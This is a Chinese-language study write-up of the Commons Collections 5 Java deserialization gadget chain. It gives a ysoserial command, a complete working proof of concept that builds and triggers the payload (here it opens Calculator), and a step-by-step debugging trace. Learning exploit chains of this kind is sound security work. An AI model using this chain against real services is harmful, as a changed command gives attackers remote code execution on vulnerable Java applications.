CommonsCollection5反序列化链学习
CommonsCollection5
1、前置知识
1.1、前置知识
通过前面cc1、cc2和cc3的学习,发先cc5跟前面大同小异,他使用了一个新类TiedMapEntry
TiedMapEntry
我们先来学习他的构造方法,第一个参数是Map类型,第二个是Object类型的key,然后发现其getValue方法其中调用到了get方法,这不就是我们LazyMap的get方法嘛,然后就是get方法调用transform方法,循环transform实现我们的Rce。那哪里调用了getVaule方法呢?就是在本类中 的toString方法,toString方法
//构造方法
public TiedMapEntry(Map map, Object key) {
this.map = map;
this.key = key;
}
......
public Object getValue() {
return this.map.get(this.key);
}
......
public String toString() {
return this.getKey() + "=" + this.getValue();
}
BadAttributeValueExpException
我们一样看其构造方法先,获取一个Object类型的val,然后怎么赋值val呢?如果val为null就返回null,否则返回val.toString(),我们继续来看BadAttributeValueExpException中的readObject方法,其中调用了toString方法,但是前面有个if判断就能决定我们怎么传val,首先他从输入流获取了属性val的值并且赋值为valObj,首先判断valObj是不是为空和其类型是否为String类型,再判断System.getSecurityManager() == null,是的话就能执行toString方法了,默认关闭的
//构造方法
public BadAttributeValueExpException (Object val) {
this.val = val == null ? null : val.toString();
}
......
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
1.2、导入依赖(pom.xml)
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>CommonsCollection5</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
</properties>
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>
</project>
2、漏洞复习
2.2、ysoserila生成CommonsCollection5 恶意文件
java -jar ysoserial.jar CommonsCollections5 "open /System/Applications/Calculator.app" > test.ser
2.3、读取文件并且反序列化
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class CommonsCollection {
public static void main(String[] args) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.ser"));
objectInputStream.readObject();
}
}
3、漏洞成因
3.1、Ysoserila的Gatget Chain(https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections5.java),发现执行代码的是InvokerTransformer.transform()方法,在org.apache.commons.collections.functors.InvokerTransformer包中。发现其实现了序列化的接口
查看InvokerTransformer的构造方法,需要传入方法名(moduleName)、参数的类型(paraTypes)和参数(args)
查看transform方法,发现其是一个反射调用的方法,需要传入一个对象类,然后通过反射调用这个类,执行InvokerTransformer传入的方法
构造代码实现
import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class CommonsCollection {
public static void main(String[] args) throws IOException, ClassNotFoundException {
/*invokerTransformer的作用是,获取要执行的方法名(moduleName)和传入参数的类型(java.lang.String)
和具体的参数字符串("open /System/Applications/Calculator.app")*/
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
new Class[]{String.class}, new String[]{"open /System/Applications/Calculator.app"});
/*传入Runtime.getRuntime()类,通过transform方法反射调用exec方法,执行任意代码*/
invokerTransformer.transform(Runtime.getRuntime());
}
}
3.2、反序列执行代码都是直接执行readObject()函数就行了,如果直接序列化上面的invokerTransformer对象,那么在readObject之后还需要主动调用transform(Runtime.getRuntime()),也就是下面这样,这显然是不实际的。
import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.*;
public class test {
public static void main(String[] args) throws Exception {
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
new Class[]{ String.class},
new Object[] {"open /System/Applications/Calculator.app"});
serialize(invokerTransformer);
deserialize();
}
public static void serialize(Object obj) throws Exception {
try {
ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser"));
os.writeObject(obj);
os.close();
}catch (Exception e){
e.printStackTrace();
}
}
public static void deserialize() throws Exception{
try {
ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser"));
InvokerTransformer obj = (InvokerTransformer) is.readObject();
obj.transform(Runtime.getRuntime());
}catch (Exception e){
e.printStackTrace();
}
}
}
所以我们要找哪里调用了transform方法(也可指看Ysoserila 利用链),而且Runtime.getRuntime()的调用我们也要通过反射来进行
而org.apache.commons.collections.functors.ConstantTransformer类,它的transform()函数如下,他可以实例化一个Runtime类
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return this.iConstant;
}
而org.apache.commons.collections.functors.ChainedTransformer类,我们通过InvokerTransformer中的transform函数一次只能进行一次反射,这里我们就需要构造一个反射链,最终调用到exec()函数。
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
Transformer[]就是用来存放InvokerTransforme
首先传入Runtime类(直接调用.class属性),然后通过反射调用getMethod方法(这个方法每个类都可以调用),getMethod方法的参数就是getRuntime,也就是说到这一步就取得getRuntime函数,然后通过反射调用invoke方法真正的执行getRuntime函数并返回Runtime实例,最后再反射调用Runtime实例的exec函数,传入要执行的命令即可实现命令执行
java.lang.Runtime.getRuntime().invoke(null).exec("open /System/Applications/Calculator.app")
四重循环反射调用流程
Transformer[]=iTransformers[i]=
object=iTransformers[0].transform(null) = ConstantTransformer(Runtime.Class).transform()=java.lang.Runtime
object=iTransformers[1].transform(java.lang.Runtime)
/*通过InvokerTransformer.transform()获取getMethod*/
=InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}).transform(java.lang.Runtime)
/*通过getMethod获取getRuntime,new Class[0]为空数组的意思(null),但是因为null没有类型所以我们只能传new Class[0]*/
=getMethod.invoke(java.lang.Runtime,new Object[]{"getRuntime",new Class[0]})
/*反射调用*/
=java.lang.Runtime.getMethod(new Object[]{"getRuntime",new Class[0]})
=java.lang.Runtime.getRuntime()//这个是object
//反射调用invoke方法,然后反射执行Runtime.getRuntime()方法,返回Runtime实例化对象(Runtimeb本身就是通过getRuntime()方法获取Runtime实例对象)
object=iTransformers[2].transform(java.lang.Runtime.getRuntime())
=InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}.transform(java.lang.Runtime.getRuntime())
=invoke.invoke(java.lang.Runtime.getRuntime(),new Object[]{null,new Object[0])
=java.lang.Runtime.getRuntime().invoke(null)
//反射调用exec方法
object=iTransformers[3].transform(java.lang.Runtime.getRuntime().invoke(null))
=InvokerTransformer("exec",new Class[]{String.class},new String[]{"open /System/Applications/Calculator.app"}).transform(java.lang.Runtime.getRuntime().invoke(null))
=exec.invoke(java.lang.Runtime.getRuntime().invoke(null),new String[]{"open /System/Applications/Calculator.app"})
=java.lang.Runtime.getRuntime().invoke(null).exec("open /System/Applications/Calculator.app")
构造代码利用
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class CommonsCollection {
public static void main(String[] args) throws IOException, ClassNotFoundException {
Transformer[] transformers = new Transformer[]{
/*利用ConstantTransformer获取Runtime类*/
new ConstantTransformer(Runtime.class) ,
//反射调用getMethod方法,然后getMethod方法再反射调用getRuntime方法,返回Runtime.getRuntime()方法
new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
//反射调用invoke方法,然后反射执行Runtime.getRuntime()方法,返回Runtime实例化对象
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
// 调用exec("calc")
new InvokerTransformer("exec",new Class[]{String.class},new String[]{"open /System/Applications/Calculator.app"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
serialize(chainedTransformer);
deserialize();
}
public static void serialize(Object obj) throws Exception {
try {
ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser"));
os.writeObject(obj);
os.close();
}catch (Exception e){
e.printStackTrace();
}
}
public static void deserialize() throws Exception{
try {
ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser"));
ChainedTransformer obj = (ChainedTransformer) is.readObject();
obj.transform("");
}catch (Exception e){
e.printStackTrace();
}
}
}
疑问
invoke()调用Runtime.class.getMethod("getRuntime").invoke(null)的作用是什么
答:通过反射调用invoke方法真正的执行getRuntime函数并返回Runtime实例(Runtime是单例模式,通过getRuntime获取实例)
Object[].class,new Object[0]、Class[].class ,new Class[0]作用是什么
答:Object[].class、Class[].class表示参数类型,Object数组类型和Class数组类型, new Class[0]为getmethod函数调用为空参数的意思,new Class[0]=new Class[]{}
3.3、所以这样的话在unserialize函数中我们的transform可以传入任意的对象(本示例代码是空字符串对象),即可造成反序列化的命令执行。但是在实际的漏洞环境中这样的仍然是难以利用的,现在还是要调用transform()方法,反序列化漏洞都是直接readObject(),所以我们要去有没其他哪里重写了readObject()函数,并且直接或者间接的调用了transform()方法
org.apache.commons.collections.map.LazyMap(Map)里的get方法调用了transform()
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}
继续寻找调用get的方法
在TiedMapEntry中toString调用了getValue,而getValue调用了Map类的get
org.apache.commons.collections.keyvalue.TiedMapEntry
public Object getValue() {
return this.map.get(this.key);
}
.......
public String toString() {
return this.getKey() + "=" + this.getValue();
}
继续寻找toString方法和重写readObject的函数
javax.management.BadAttributeValueExpException类中重写readObject的函数,并且valObj对象在从输入流获取后执行了toString()方法
public String toString() {
return "BadAttributeValueException: " + val;
}
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
因此我们有以下思路
- 构造chainedTransformer
- 声明一个LazyMap,它的get方法会调用transform方法
- 以上一步声明的LazyMap对象为参数,声明一个TiremapEntry,它的toString方法会调用getValue方法,getValue方法会调用LazyMap的get方法
- 以上一步声明的TiremapEntry对象为参数,声明一个BadAttributeValueExpException对象,它反序列化时会调用TiremapEntry的toString方法
构造函数
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollection {
public static void main(String[] args) throws Exception {
// /*invokerTransformer的作用是,获取要执行的方法名(moduleName)和传入参数的类型(java.lang.String)
// 和具体的参数字符串("open /System/Applications/Calculator.app")*/
// InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
// new Class[]{String.class}, new String[]{"open /System/Applications/Calculator.app"});
// /*传入Runtime.getRuntime()类,通过transform方法反射调用exec方法,执行任意代码*/
// invokerTransformer.transform(Runtime.getRuntime());
Transformer[] transformers = new Transformer[]{
/*利用ConstantTransformer获取Runtime类*/
new ConstantTransformer(Runtime.class) ,
//反射调用getMethod方法,然后getMethod方法再反射调用getRuntime方法,返回Runtime.getRuntime()方法
new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
//反射调用invoke方法,然后反射执行Runtime.getRuntime()方法,返回Runtime实例化对象
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
// 调用exec("calc")
new InvokerTransformer("exec",new Class[]{String.class},new String[]{"open /System/Applications/Calculator.app"})
};
// 构造transformerChain
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// 声明lazyMap以调用transform方法
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
// 声明tiedMapEntry以调用get方法
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
// 声明badAttributeValueExpException以调用toString方法
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, entry);
serialize(badAttributeValueExpException);
deserialize();
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.ser"));
objectOutputStream.writeObject(obj);
objectOutputStream.close();
}
public static void deserialize() throws Exception{
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.ser"));
objectInputStream.readObject();
}
}
BadAttributeValueExpException调用toString方法反射赋值entry
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, entry);
因为在构造函数,当val不为空的时候,是将val.toString()赋值给this.val,因此这样直接声明的话会直接通过toString()触发命令执行。但是在真正反序列化的时候,由于val变成了String类型,就会造成漏洞无法触发。
public BadAttributeValueExpException (Object val) {
this.val = val == null ? null : val.toString();
}
4、漏洞调试
在BadAttributeValueExpException的readObject处打断点,在反序列化时通过反射把val既valObj赋值成tiedmap,继续跟进
我们直接跟进getValue,因为我们在value处存储了恶意的TiedMapEntry,继续跟进
看到this.map为lazyMap,跟进lazymap的get方法
看到this.factory存储的为我们的恶意构造的transformer,继续跟进
进入后,可以看到第一个的就是,ComstantTransformer.transform方法,跟进
会返回我们的Runtime.class,Class是实现了序列化接口的
第二遍进入到我们的InvokerTransformer的transform方法
进入后发现,通过getmethod方法获取getruntime
第三遍InvokerTransformer的transform方法执行invoke
通过invoke执行Runtime类的静态方法getRuntime方法,获取Runtime类实例化对象,invoke执行静态方法时,两个参数都是null
第四遍是执行Runtime实例化对象的exec()方法,我们也可以看出此时的Object对象是Runime类实例化对象,继续进入
通过反射执行exec方法
成功弹窗
5、思维导图
6、利用链
/*
Gadget chain:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Requires:
commons-collections
*/
参考链接
https://www.xmanblog.net/java-deserialize-apache-commons-collections/